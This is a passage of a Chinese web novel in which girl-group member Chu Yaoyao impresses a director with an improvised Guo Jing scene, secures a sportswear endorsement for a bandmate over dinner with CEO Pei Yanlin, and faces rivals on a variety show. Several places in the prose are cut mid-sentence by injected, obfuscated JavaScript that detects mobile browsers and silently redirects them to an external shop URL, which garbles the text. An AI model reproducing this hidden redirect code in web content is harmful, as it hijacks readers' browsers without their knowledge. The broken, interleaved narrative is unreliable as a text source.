l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377674|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >楚幺幺深吸一口气,将后边的混乱暂时屏蔽。 她穿着一身略显粗糙的布衣裳,脸上甚至刻意抹了点灰,头发也束得有些毛糙,完全没有了女团的光鲜亮丽。 楚幺幺微微佝偻着背,眼神里满是未经世事的淳朴和懵懂,带着点好奇和小心翼翼的笨拙感,走向客栈的一张桌子。 陈星河扮演的店小二戴着假胡子正在擦桌子。 楚幺幺笨拙地抱拳,声音带着点生硬的北方口音:“小二哥,劳烦,给碗水喝?”她的眼神清澈,动作带着不谙世事的耿直感,正像一个初入繁华之地的草原少年。 她演的是郭靖? 就在这时,后台传来一声清脆的中带着狡黠笑意的女声:“喂,傻大个儿!” 声音未落,一道灵巧的身影从侧幕飞快掠过,同时,一个啃了一半的苹果核不偏不倚,“啪”地一下,砸在了楚幺幺的额头上。 楚幺幺猛地捂住额头,眼神里瞬间充满了真实的惊愕和一丝委屈,像只受惊的的憨厚大狗,茫然地四处寻找“凶手”,又傻又愣。 “谁?!谁打我?”她瓮声瓮气地问。 陈星河忍着笑,指指后台方向。 黄蓉虽未出现,却能让所有人都相信,那个机灵鬼怪的少女就在侧幕之后。 楚幺幺顺着方向看去,眉头紧锁,一脸凝重地思索着,仿佛在掂量是否该去理论。 她下意识地摸了摸被砸中的额角,指尖触到微痛的皮肤,视线又落回地上那个滚落的苹果。 片刻迟疑后,她竟弯下腰,小心翼翼地将它拾了起来,指尖拂过沾上的微尘,低声叹道:“好好的果子……糟蹋了……” 话音未落,她已带着几分浑然天成的憨气,用袖口随意抹了抹苹果,毫不犹豫地送进嘴里。 “咔嚓”一声,清脆地咬下一大口。 姚成紧锁的眉头,在楚幺幺弯腰拾果的瞬间便顿住了,待看到她竟真咬了下去,那紧蹙的纹路松缓开来,眼中掠过一丝不易捕捉的讶异与思索。 一旁的冬哥,眼神也微微一动,闪过了然的光芒。 没有刻意的模仿,却能精准地捕捉郭靖“憨”和“直”的灵魂底色,甚至能用最本真的反应,将这种特质演绎出来,已经比不少年轻演员优秀了。 …… 表演结束,姚成导演面色沉肃,目光如炬地盯着楚幺幺:“剧本上没有写这个动作,你为什么要去咬那个苹果?” “我觉得他应该吃。”楚幺幺迎着他的目光,声音清晰而坚定。 “剧本上没有写的东西,你不照着演就是改剧本。”姚成加重了语气。 “姚导,”楚幺幺深吸一口气,努力解释,“掉在地上的苹果,黄蓉不会碰,但郭靖会吃。他是草原长大的孩子,骨子里最见不得糟蹋东西,觉得果子可惜了,捡起来吃掉,就是他最本能的反应。” 话音落下,片场一片寂静。 方才还面色如铁的姚成,嘴角却缓缓向上牵起,最终化作一个毫不掩饰的赞许笑容:“很好!” 他霍然转身,目光扫过全场:“都看到了吗?演戏最重要的,不是死抠剧本的每一个字,而是要把自己揉碎了,融进角色里,做角色在那个情境下必然会做的事!明白了吗?” “明白了!”众人齐声回应,目光复杂地投向了楚幺幺。 楚幺幺在众人的注目中走下台,陈渺立刻迎上来,激动地比了个大拇指:“幺幺,太棒了!你演的也是个男性角色,我还以为就我倒霉抽到这种角色呢!” 楚幺幺冲她笑了笑,略显疲惫地揉了揉有些发酸的腮帮,没多说什么。 只有她自己知道,昨晚确定片段后,她在镜子前反复揣摩,练习了一晚上表情神态,凌晨入睡时连做梦都还在演戏。 另一侧,路雅宁的目光紧紧追随着那个正被众人目光洗礼的身影,那张向来优雅从容的脸上,第一次清晰地浮现出一道冰冷的裂痕,她抿紧了唇,指尖无意识地收紧。 这个人,真是很碍眼。 34. 又搞诈骗 初夏的日光把城市照得亮堂堂的,枝头的树叶长得郁郁葱葱,青翠欲滴,像被调色盘刚补了色。 而楚幺幺现在的心情,真是畅快至极! 热搜榜上,#宋雨桐“飓风”竞品#的词条热度正高,后面跟着一个鲜红的“爆”字。 点进去,满屏都是宋雨桐身着“翱跃(Aero)”外套的图片,正是她来探班那天,后来换了的那件。 “翱跃”是“飓风”在国内最大的竞争对手,两家在商场开店都要开正对面,你打八折我就打七九折,关系可见一斑。 宋雨桐身上穿的那件外套,是“翱跃”当季主推款。 楚幺幺看到的第一眼就知道,宋雨桐这是亲手把刀递到了她手上,而她只要轻轻一挥,就能让她滴下血来。 在综艺上赫然穿着竞品的衣服,这无异于当众抽了品牌方一记响亮的耳光。 当晚,网络上如同投入了水滴的滚油,炸开了锅—— “惊爆!‘飓风’代言人宋雨桐,上综艺竟穿竞品?这是公然打脸还是另有隐情?” “独家!宋雨桐疑似不满‘飓风’待遇,现场穿竞品示威?” “人设崩塌?顶流小白花宋雨桐疑似违约穿竞品,品牌方震怒!” …… 消息下方,Fire的粉丝正在极力辩解—— “胡说八道什么啊!这和姐姐有什么关系,都是工作室不作为,给衣服的时候不把关的吗?!” “明星穿什么自己有什么权利啊,都是搭配好的!” “不就是穿了一下吗?她是去探班,又不是自己上综艺。” “姐姐穿什么都好看!” “《片场进行时》有病吧?为什么放探班花絮?” …… 粉丝的辩解和控评很快被汹涌的质疑和嘲讽淹没—— “呵呵,吃里扒外,这代言怕是要凉!” “‘飓风’这次脸都被打肿了吧?花钱请代言人,结果人家穿着对家的衣服来砸场子?” “心疼‘飓风’三秒,这波操作太骚了。” “‘飓风’也太小气了吧,不就是穿了一次别人的衣服吗,一点格局都没有!” “有些粉丝脑袋被驴踢了吧?自己穿了竞品,怪品牌方小气,怪节目组放花絮?敢情就你家姐姐无辜?” …… Fire工作室的紧急声明此刻显得苍白无力,试图解释为“造型师失误”、“品牌方沟通有误”,但在铁证般的照片和汹涌的负面舆情面前,如同螳臂当车。 仅仅过了二十四小时,“飓风”的官方声明如同冰冷的判决书,砸在了依旧喧嚣的网络之上:“鉴于宋雨桐小姐近期行为对我司品牌形象造成了严重损害,经慎重考虑,即日起,我司单方面终止与宋雨桐小姐的品牌代言合作。所有相关宣传物料将立即下架。感谢大家一直以来的关注。” …… 楚幺幺看着手机屏幕上那则冰冷的声明,轻轻笑出了声。 “真是想瞌睡有人递枕头。”她低声自语,指尖在手机屏幕上一下一下敲着,发出细微的轻响。 线下的战场,才刚刚拉开序幕,而此刻最需要的,就是趁虚而入。 …… 楚幺幺穿着一件白色长裙,站在路边,这个位置,恰巧能看到寰宇集团大楼那气势恢宏的旋转门出入口,也能看到地下车库的出口。 终于,那辆黑色的迈巴赫62S,悄无声息地滑出了地下车库,汇入稀疏的车流。 楚幺幺毫不犹豫地迈开步子,只几步就冲到了路中央,张开双臂,拦在了车前。 刺耳的刹车声猛地传来,迈巴赫稳稳地停在离她不足半米的地方,车头那闪耀的徽标几乎要贴上她的裙边。 驾驶座的林岩惊魂未定,抹了把额角的冷汗,回头看向后座:“裴总,是楚小姐。” 后排车窗贴着深色的防窥膜,像一块沉默的黑色幕布,里面没有任何动静。 “开车。”一个低沉冷冽的男声从幕布后传出来,听不出丝毫情绪。 引擎重新发出低沉的轰鸣。 “欸欸欸——”楚幺幺立刻绕到后座车窗旁,屈起手指,毫不客气地在冰冷的玻璃上敲了几下,发出“叩叩”的脆响,“裴总,这么不近人情啊?我们不是好朋友吗?” 车窗缓缓降下一道缝隙。 那张轮廓深邃,如同女娲毕设的脸露了出来。 裴宴林甚至没有完全转头看她,视线冷淡地平视前方,下颌线绷得有些紧,透着一股被打扰的不耐烦,“好朋友?讲过几句话就成了你在追求我,我怕再多说几句,你就能怀孕了。” 这话刻薄得近乎荒谬。 人怎么可能无性繁殖呢?简直大逆不道,天理难容!孟德尔知道了都得气得从棺材里跳出来打他! “裴总真会开玩笑。”楚幺幺淡淡回了一句,脑袋飞速地转动。 上次发布会上的事明明已经悉数摆平了,后来虽然上了一个小小的热搜,但基本都是网友们非常“善心”地提醒她,她这是“癞蛤蟆想吃天鹅肉”! 热搜挂了不足一小时,就被“不知名”的力量撤了个干净,那些看热闹不嫌事大的网友,发泄无门,全数涌向了楚幺幺的微博。 总的来说,这个小插曲对裴宴林没造成什么影响,唯一的影响就是她多了很多黑粉。 无所谓,黑粉也是粉。 楚幺幺身体微微前倾,隔着那道窄窄的车窗缝隙,直视着裴宴林线条冷硬的侧脸轮廓,试探地问:“裴总不至于这么小气吧?” 裴宴林连眼角的余光都没给她一丝,仿佛她只是路边一根碍眼的灯柱,他抬手,示意司机开车。 “等下等下!”眼看硬的不行,楚幺幺立刻换了策略,她的肩膀一塌,声音瞬间软下去,带着十二万分的委屈,“裴总,您看,我为了维护您的面子,都承认自己在倒追您了。我一个女孩子,多难为情啊?” 她甚至还轻轻吸了下鼻子,试图营造点可怜兮兮的效果。 裴宴林的视线终于从前方挪开,第一次完整地落在了她脸上。 那目光像手术刀一样,一层层剥开她委屈的外皮,他看了她足足三秒,薄唇微启,“难为情?我是没看出来。” 得了,没用。 楚幺幺心里骂了句“铁石心肠”,面上却丝毫不显山露水,她重新换上了一副轻松自若的表情:“那……我请您吃饭?给您赔不是,就挑置信楼层的‘云顶餐厅’,人均一千块,我绝不皱一下眉头。” “没空。” 裴宴林拒绝得没有半分犹豫,车窗开始缓缓上升。 楚幺幺眼疾手快,在车窗彻底合拢前,飞快地将手伸进了那道缝隙里,玻璃边缘感应到她纤细的手指,自动停了下来。 “裴总,我有东西要给程伯母,您能帮我捎一下吗?”她语速加快,抱着孤注一掷的决心。 车内陷入短暂的沉默,空气似乎停滞了,只有车外的热风刮过的声音。 裴宴林的目光落在她那只被车窗夹着的手上,片刻后,车窗降了下来。 “行。” 楚幺幺心中一块石头落地,脸上立刻绽开明媚的笑容,她拉开车门,动作敏捷地钻进了宽敞的后座。 “开车。” 楚幺幺一上车,林岩就从后视镜里端详起她来,客套地说道:“楚小姐,您真是越来越漂亮了。” 以前她胖的时候还没发觉,这一瘦下来,真跟天仙一样。难怪连裴总这种高龄之花,都抵抗不了。 楚幺幺笑得一脸阳光,“真的吗?你真会说话。” “当然是真的。”林岩话锋一转,“裴总刚打了场胜仗,你可要好好请他一顿,庆祝下。” “什么胜仗?” 林岩一边开车,一边说:“找到了泄密科技部核心秘密的内鬼,裴总把他赶出了北山市,在在行业内封杀了。还是个三十年的老员工,真不知道怎么想的。” 科技部清洁电池技术泄密一事,楚幺幺略有耳闻,寰宇集团的公关部做得很及时,这事传播范围很小,影响并不算大。短短几天,竟然已经解决了。 “这么快就找到了内鬼,对家不好过吧?”楚幺幺狡黠一笑。 既然涉及到商业泄密,自然不可能是靠一个小小的员工能完成的。 “那可不!”林岩越说越起劲,“腾丰集团赔了大几千万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382061|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你是不知道他们老总的脸,那叫一个……” “林岩。”裴宴林沉着脸,制止了他的话头,一道深邃的目光像亮剑刺来,语气冰凉,“要不我来开?” 林岩笑容一僵,对着内后视镜里的裴宴林露出一个抱歉的表情,不再说话了。 楚幺幺看看身侧的人,埋怨地说:“小林要炫耀你的光辉战绩,你还不让说,他这是崇拜你。” “是是是!”林岩连连点头。 裴宴林不语。 赶出北山,行业封杀。这就是背叛裴宴林的下场吗? “裴总,”楚幺幺轻声呼唤,“要是有一天,你发现有人骗了你,你会怎么办?” “我会把他碎尸万段。” 楚幺幺不自觉往窗边挪了一点,离裴宴林稍远一点。 裴宴林捕捉到了她的动作,眼神一狭,“楚小姐,有什么事情骗了我吗?” 楚幺幺连连摇头,“没,没有。” 裴宴林瞥她,“我看你是心虚。” “呵呵,怎么会~谁敢骗英明神武的裴总啊~”楚幺幺的脸上立马堆起一个谄媚的笑容。 …… “云顶”餐厅高踞城市之巅,巨大的落地窗外是整个城市一览无余的风景。 餐厅内光线是精心调制的暧昧暖黄,落在打磨得能照出人影的深色胡桃木餐桌上,映着光洁如新的陶瓷餐具和剔透的水晶杯。 楚幺幺和裴宴林相对而坐,她姿态放松,甚至带着点闲适,仿佛真的只是来享用一顿美食。 服务员无声地穿梭,送上精致的开胃菜和醒好的红酒。 楚幺幺抿了一口杯中深红色的液体,目光状似无意地扫过餐厅入口的方向。 终于,当他们的主菜被端上桌时,楚幺幺的目光捕捉到了那个目标。 一个穿着深色西装的中年男人出现在入口处,正由餐厅经理亲自引导着往里走——正是“飓风”的老总,孟淮安。 “孟总?”楚幺幺脸上适时地浮现出精心处理过的惊讶。 楚幺幺立马放下酒杯,站起身,脸上露出热情又不失礼节的微笑,拦住了那人的去路,“这么巧啊?孟总,您也来这里用餐?” 孟淮安闻声转头,看到楚幺幺,眼神里也掠过一丝困惑。 “你是……” “我是寰宇娱乐的楚幺幺,您忘了吗?” “楚小姐?”孟淮安愣是看了她好几秒,确实没想起来何时见过她,但他视线一瞥,立马认出了她边上的裴宴林,惊讶地说:“裴总?您也在?真是难得,难得!” 裴宴林冲他微微颔首,算是打过招呼,姿态依旧疏离。 “孟总一个人?”楚幺幺笑容可掬,目光扫过孟淮安身后,“不介意的话,一起坐坐?我和裴总也才刚开始。” 她的话听起来像是随口客套,却让人难以拒绝。 孟淮安看了一眼裴宴林,见对方并未明确反对,立刻笑着应承:“既然楚小姐盛情邀请,那我就厚颜叨扰了。” 他拉开楚幺幺旁边的椅子坐下,位置正好对着裴宴林。 服务员迅速添置了餐具。 孟淮安刚坐下,还没来得及寒暄几句,餐厅入口又出现了一个身影。 姜书语穿着一身浅杏色的通勤套装走了进来,款式简洁利落,剪裁却极为考究,完美勾勒出她纤细的腰线和修长的身形。 那套装的品牌Logo虽小,却异常醒目地绣在领口外侧——正是“飓风”最新一季的主打款成衣。 楚幺幺眼底掠过一丝了然的笑意,面上却再次露出“惊喜”的表情,朝着姜书语喊道:“书语?你也在?这边这边!” 姜书语循声望去,看到楚幺幺,脸上立刻绽开笑容。然而,当她的目光触及到楚幺幺旁边那个面容冷峻的男人时,那笑容瞬间凝结在脸上。 昨天楚幺幺甚是奇怪,说要请她吃饭,还特意叮嘱她穿刚买的这身套装。 刚刚上来的时候,每层都有服务生引导,态度好得惊人,来这种地方吃饭,一看消费就很高,姜书语一路都在想“幺幺是发财了?”。 直到看到裴宴林,姜书语改变了看法:她不是发财了,是发疯了! 35. 我请客,你买单 姜书语几乎是下意识地挺直了脊背,手指微微蜷缩了一下,步伐也变得有些僵硬,小心翼翼地走了过来。 “裴总,孟总。”姜书语的声音紧绷着,对着两位大佬微微躬身,姿态放得极低,她拉开楚幺幺另一边的椅子坐下,动作带着点拘谨。 气氛一时有些微妙。 孟淮安显然认出了姜书语身上的衣服,目光在她身上短暂地停留了一会儿。 楚幺幺仿佛毫无所觉,热情地为姜书语介绍:“书语,这位就是‘飓风’的孟总。孟总,这是我们团的姜书语。” “姜小姐,幸会。”孟淮安点点头,笑容恢复了些许自然。 趁着服务员倒酒的间隙,孟淮安主动提起了最近闹得沸沸扬扬的解约风波:“裴总,关于宋小姐的代言这事……我们本来是和程漾小姐签约的。程小姐当年在我们品牌最困难的时候雪中送炭,这份情谊,孟某一直铭记于心。” 他顿了顿,叹了口气,话锋一转,“但一行有一行的规矩。宋小姐这次,让我们的品牌形象受损严重,我们也是不得已才解约。无法将这份情谊延续下去,辜负了程小姐,也实在是……” 他摇了摇头,一副无可奈何的模样。 裴宴林优雅地切下一小块牛排,眼皮都没抬,声音平淡无波:“孟总按规矩办即可。” 孟淮安脸上的笑容滞了滞,有些讪讪。 楚幺幺放下手中的酒杯,清脆的声响在短暂的沉默中格外清晰。 她的身体微微前倾,双手交叠放在桌沿,看向孟淮安,试探道:“孟总,既然说到了代言……我倒是有一个冒昧的提议,不知道您可否一听?” 孟淮安被勾起了兴趣:“哦?楚小姐请讲。” “‘飓风’的理念,是将舒适的面料平等地带给每一个人。这也是为什么,虽然品牌人气逐年升高,但服装定价却没有攀升。当年,程漾小姐也正是看到了‘飓风’这份平等的情怀才选择和您合作的。”楚幺幺侧过身,伸手轻轻搭在姜书语的肩上,“我家书语是‘飓风’的忠实粉丝,从程漾开始为品牌代言起,她也跟着喜欢好多年。对待‘飓风‘’的感情,不会比任何一个人差。” 她将视线重新落向姜书语,“她今天穿的这身,就是‘飓风’新一季成衣,主题是‘热烈’。孟总您觉得,书语的形象气质,符不符合做您家的代言人?” 孟总看向姜书语。 姜书语的脸颊以肉眼可见的速度泛起红晕,她的五官本来就属精致耐看,之前被厚重的刘海封印了颜值,在楚幺幺的要求下,现在养长头发还烫了大波浪,更添了几分御姐风,颜值更是跨越了好几个档次。 孟淮安的目光在姜书语脸上仔细地逡巡着,抛开知名度,单论外形条件,眼前这个女孩确实无可挑剔,细看之下比宋雨桐那种清纯的长相,更多了几分野性的吸引力,和“飓风”的运动风甚至更为契合。 楚幺幺敏锐地捕捉到孟淮安眼中那一闪而过的欣赏,立刻乘胜追击:“我知道,‘桔梗少女’只是个小团,论粉丝基础和流量号召力,肯定比不上宋雨桐那种顶流,但……” “楚小姐这话就见外了。”还没等她说完,孟淮安已经抬手打断了她的话,脸上重新堆起爽朗的笑容,“当年程小姐资助我们的时候,‘飓风’也什么都不是。英雄不论出处,姜小姐之前在群星之夜的表演,孟某恰好看过,台风稳、气质佳,潜力无限。当年程小姐给予我们的支持和鼓励,我也想同等地回馈给他人。我回去就让市场部拟个方案,代言还落在寰宇,也算是承了多年的情谊。裴总,您看……意下如何?” 孟淮安试探性地看向裴宴林。 裴宴林慢条斯理地用雪白的餐巾擦了擦嘴角,动作优雅得无可挑剔。 他抬眼,正对上楚幺幺那双满是期待的眼睛,他虽然有些不悦,但终究没有挑破。 “孟总慧眼识珠。”裴宴林的唇角微微弯起一个弧度,举杯敬向孟淮安,“乐意之至。” 四个字,尘埃落定。 楚幺幺心中那块悬着的大石终于轰然落地,一股巨大的喜悦瞬间席卷了她。 这是近段时间以来,楚幺幺吃过最快乐的一顿饭,她甚至没有在意体重地吃掉了一整块牛排。 倒是平常胡吃海喝的姜书语,这一顿饭细嚼慢咽,吃得格外矜持。 服务员适时地送上了账单,孟淮安站起来准备结账:“这顿我请。” “孟总,今天聊得这么开心,您就别和我客气了,这顿我请。”楚幺幺先一步接过了服务员手上的账单,“书语以后,还要靠孟总多多照拂。” 孟淮安一听这话,也不再推辞,点着头接受了,“那就恭敬不如从命了。” 楚幺幺捏着账单,转身就向裴宴林伸出了手。 裴宴林双唇一抿,从西装内袋里抽出一张质感厚重的黑色卡片,递给服务员,动作流畅自然。 这画面,落在孟淮安眼里可大不一样,楚幺幺请客,裴总结账,这……这关系可不一般啊! 一顿饭结束,孟淮安又简单寒暄了几句,便识相地离开了。 裴宴林坐在餐桌前,向楚幺幺伸出了手,那只手骨节分明,干净修长,“东西。” 楚幺幺立刻会意,从自己放在一旁的精致手袋里,取出一个薄薄的素白色信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386362|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 封,递到裴宴林摊开的掌心。 他的手指收拢,握住了那个信封。 裴宴林站起身,高大的身影在暖黄的灯光下投下一片阴影。 他垂下眸,一边慢条斯理地扣上西装最上面的那颗纽扣,一边看着依旧坐在椅子上,正微微仰头望着他的楚幺幺,“请我吃饭,刷我的卡?” 楚幺幺仰着脸,笑得眉眼弯弯,“请吃饭不就是一份心意嘛,心意到了就好啦~何况,我帮寰宇留下了这么大的单子,难道还抵不上一顿饭吗?” 裴宴林居高临下地看着她,那张英俊得近乎完美的脸上没什么表情,看不出一丝情绪。 不过,按她对他的了解,他应该没有生气,顶多是有些不爽而已。不然,早在她邀请孟总吃饭的时候他就把她丢出去了。 哪怕他知道她是故意利用他的身份接近孟淮安,但那又如何呢? “满嘴谎话的小骗子。” 裴宴林最后看了她一样,迈开长腿,头也不回地朝着餐厅出口走去。 那件剪裁完美的西装,随着他的步伐划出冷冽的弧线,很快便消失在柔和的灯光与爵士乐交织的背景里。 直到那压迫感十足的身影彻底消失,姜书语才像是被解除了定身咒,长长地吁出一大口气,整个人都松懈下来,靠在椅背上。 她侧过身,一把抓住楚幺幺的手臂,眼睛里闪烁着八卦和难以置信的光芒,“楚幺幺!你老实交代!怎么回事?!” 楚幺幺双手捧住姜书语的脸,一字一顿地说:“阿语,赶快回去,准备迎接你的代言吧。” 姜书语一听这话,嘴角忍不住瘪了又瘪,“幺幺……我……我有点想哭……” 像做梦一样,她终于理解阿柠收到顾颜榕工作室的合作通知,她说“像做梦一样”是什么心情了。怕这是梦,又怕梦醒。 “哭什么?我们的好日子,还在后头呢。”楚幺幺的双手在姜书语的两颊拍了拍。 这才哪儿到哪儿,离她掉下来的地方,还差很远。 “嗯嗯……”姜书语抽了一鼻涕,压下自己的哭腔,她望着楚幺幺那双漂亮的杏眼,感觉里面有整个世界,“你不会……真的和裴总有一腿吧?” 虽然裴总每次看起来脸都很臭,但好像,在楚幺幺身边真的好像一只傲娇又听话的狗狗。 她算是明白楚幺幺为什么说裴宴林是西伯利亚雪橇犬了。 “噗。”楚幺幺忍不住轻笑了一声,她朝着裴宴林消失的方向扫了一眼,“暂时还没有。” “什么叫暂时还没有?你……你有问题!”姜书语大呼。 这人,狼子野心啊! 36. 命题表演 Fire工作室内,“飓风”送来的解约合同此刻正安静地躺在助理的掌心。 助理大气不敢出,小心翼翼地将这份“解约书”递到宋雨桐面前。 宋雨桐正对着化妆镜慢条斯理地补着唇妆,她眼皮都没抬,只是从镜子里瞥了一眼那份文件,眉头轻轻一蹙,随意地捻过合同的边缘,将它抽了过来,“小家子气的品牌,我还不想代言呢。” 她翻开合同,目光草草扫过那些条款,“要赔多少违约金?权当是做慈善,打发叫花子了。” 她说着,拿起钢笔利落地在末尾签起字来。 “不用赔偿。”助理小声说。 宋雨桐签字的笔尖顿住。 她终于抬起眼,看向助理,脸上很是疑惑:“不用赔?” 助理的声音更低了:“孟总说,这算是对程漾姐的一点心意,投桃报李……违约金就算了。只是,代言人由您……更换为姜书语。” “你说什么?!”宋雨桐刚刚还不屑一顾的表情,此刻却显得有些狰狞。 助理被她勃然的反应吓了一跳,小声又重复了一遍:“代言人更换为姜书语。听说……昨天楚幺幺和姜书语亲自去找孟总,谈下了这笔生意。” 宋雨桐捏着合同的手指猛地收紧,嘴里咬牙切齿,“楚、幺、幺……” 这个代言可以不是她的,但也绝对不能是“桔梗少女”的。否则,外人会怎么看?寰宇娱乐的新人踹走了她这个前辈?笑话!天大的笑话! 这时,工作室的门被推开了,路雅宁披着一件西装外套走进来,脸上还带着未卸的浓妆,身后跟着的是安静得几乎没什么存在感的曲潇潇。 路雅宁显然感觉到了气氛的不对劲,立马猜到了几分,她走到沙发处坐下,上下打量着宋雨桐铁青的脸色,“我的广告刚拍完,一回来就听说你代言被同门师妹抢了,你可真是会制造惊喜。” 宋雨桐将那份合同摔到桌上,合同从桌面边缘滑落掉到了地上,发出“啪”的一声脆响,“她这是打我的脸,难道不是打Fire的脸吗?桔梗少女的那三个,看着一个比一个讨厌,尤其是那个楚幺幺!” “楚幺幺?”路雅宁不屑地一笑,语气轻蔑,“不知道从哪个犄角旮旯冒出来的野路子,仗着有点运气签约了寰宇娱乐,就真以为自己能翻天了?也配跟我们相提并论?” 一旁,一直沉默的曲潇潇蹲下身将合同捡了起来,递给助理,话却是对宋雨桐说的:“雨桐姐,没事的。这个代言本来就是阿漾姐姐的,不要就不要了。” 她话刚说完,已经意识到失言,立刻咬住了嘴唇,眼神慌乱地垂了下去。 “阿漾?阿漾?!”宋雨桐的眼神凶狠得像要吃人,“曲潇潇,你这么爱说风凉话,这么惦记你的阿漾姐姐,你怎么不干脆下去陪她?” 曲潇潇被她吼得浑身一颤,头垂得更低了,手指揪着衣角,不敢再发一言。 “行了!”路雅宁不耐烦地打断宋雨桐的迁怒,她拢了拢肩上的外套,眼神轻轻扫过那份解约合同,“一个代言而已,丢了就丢了,值得你在这里兴风作浪,像个泼妇一样?” 路雅宁站起来,朝宋雨桐走过去,两人的目光空中交汇,“不过,这次是我们吃了亏。该让某些人知道,不是什么人,都能在太岁头上动土的。” …… 《片场进行时》录制现场。 化妆间的门被推开,场务探进头,声音带着急促:“幺幺姐,导演那边催了,这期是命题表演。” “知道了。”楚幺幺的声音很平静,听不出波澜。 录影棚后台的通道狭窄而忙碌,充斥着工作人员压低嗓音的指令和器材移动的碰撞声。 楚幺幺刚拐过一个堆满道具箱的转角,一股浓郁的香水味便劈头盖脸地罩了下来,高跟鞋敲击地面的声响停在面前。 路雅宁的目光正直直盯在楚幺幺脸上,她的妆容精致得无懈可击,多年女团的经验让她时时注意自己的表情管理,可哪怕是这样,楚幺幺还是从她的脸上读到了恼意。 路雅宁的红唇勾起一个充满鄙夷的弧度,声音穿透嘈杂的背景音传来,“悄无声息就抢走了雨桐的代言,楚小姐好手段。” 孟淮安承诺的合同如约寄到了公司,不过一周,合作便尘埃落定。 Amy姐虽然有些疑惑,但终究没有多计较,总归前面是寰宇娱乐理亏在先。 消息不胫而走,同公司的Fire当然也听闻了,听说宋雨桐气得砸坏了一座奖杯。 楚幺幺脊背挺直,没有丝毫闪避地迎上路雅宁的目光,嘴角微弯:“雅宁姐这话说的,对公司而言,最重要的难道不是代言还在公司名下吗?至于具体落在谁手里……不过是内部资源流动罢了,何必这么激动?” 路雅宁脸上的表情僵住了,那抹刻意的鄙夷被猝不及防的错愕取代。 出道这么久,没有人敢这么和她说话。 楚幺幺,一个小小的女团成员,竟敢公然顶撞她? 路雅宁精心修饰的柳眉蹙紧了,“我还真是小瞧你了。” 楚幺幺只回以一笑,微微颔首,便径直同她擦肩而过。直到拐过弯,楚幺幺的脸才猛地沉下来,被冰冷的怒意席卷。 这就受不了了? 她会像野草一样疯长,长成足以和Fire对抗的样子。 录影棚内,巨大的环形灯光将舞台中央照得亮如白昼。 导演姚成坐在监视器后面,拿着扩音喇叭,声音透过音响传遍整个空间:“好了,第三期《片场进行时》正式开始。今天是即兴表演,规则很简单,有主题,无剧本,全凭感觉,立刻反应。今天的主题是:分手。谁第一个来试试水?” “我!”陈渺第一个举起了手,反正都是烂,不如早死早超生。 她今天穿了件亮粉色的蓬蓬裙,像一个芭比娃娃。 姚导扫了她一眼:“行,陈渺,搭档……陈星河,题目是——” 他故意拖长了调子,制造悬念,“‘出轨分手’。三、二、一,开始!” 打板的牌子刚落下,陈渺就像只猫,猛地蹿到了陈星河身旁,一把揪住了对方的领带。 这力道不轻,着实把陈星河吓了一跳,还没来得及接招,陈渺的另一只手夸张地指着他身后并不存在的“小三”,声音尖利得能穿透天花板:“陈星河!你这个负心汉!你对得起我吗?!说!她是谁?!是不是你们公司新来的那个小狐狸精?!” 陈星河努力配合着,试图掰开她的手:“渺渺,你听我解释……” “解释?!解释就是掩饰!掩饰就是事实!”陈渺完全沉浸在自己的情绪风暴里,用力摇晃着陈星河,“我为你付出了那么多!你居然背着我偷吃!你这个渣男!我要跟你分手!立刻!马上!NOW!” 她一边怒吼,一边用力跺脚,蓬蓬裙剧烈地晃动着,整个人呈现出一种癫狂而又卡通的状态。 她甚至试图去“打”那个想象中的小三,对着空气张牙舞爪,动作幅度大得让旁边的工作人员都忍不住后退一步。 姚导脸上的期待一点点消失,最终化为一声无奈的叹息,他拿起喇叭:“咔!咔!咔!” 陈渺瞬间收住,茫然地眨巴着大眼睛,脸上愤怒的表情还没完全褪去,显得有些滑稽:“导演?我……演得不好吗?” 她看向搭档陈星河,他正捂着脖子咳嗽,一脸劫后余生的庆幸。 导师席上的陆淮捂着额头,深深叹出一口气。 姚导揉着太阳穴,语气尽量委婉:“陈渺啊,情绪……情绪很饱满,非常饱满!爆发力也很强!” 强到快把搭档掐昏过去了。 姚导顿了一下,看着陈渺重新亮起来的眼睛,话锋不得不转,“但是……‘出轨分手’它不仅仅是一种情绪宣泄,它背后得有生活的沉淀,被背叛后真实的痛感和无力感。你的表演太外放了,缺乏生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386363|197300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活的阅历和细节。” “好的导演,我会好好学习的!”陈渺朝着姚导敬了一个礼,这番指导听进去几个字不知道,她只知道自己想快点下台。 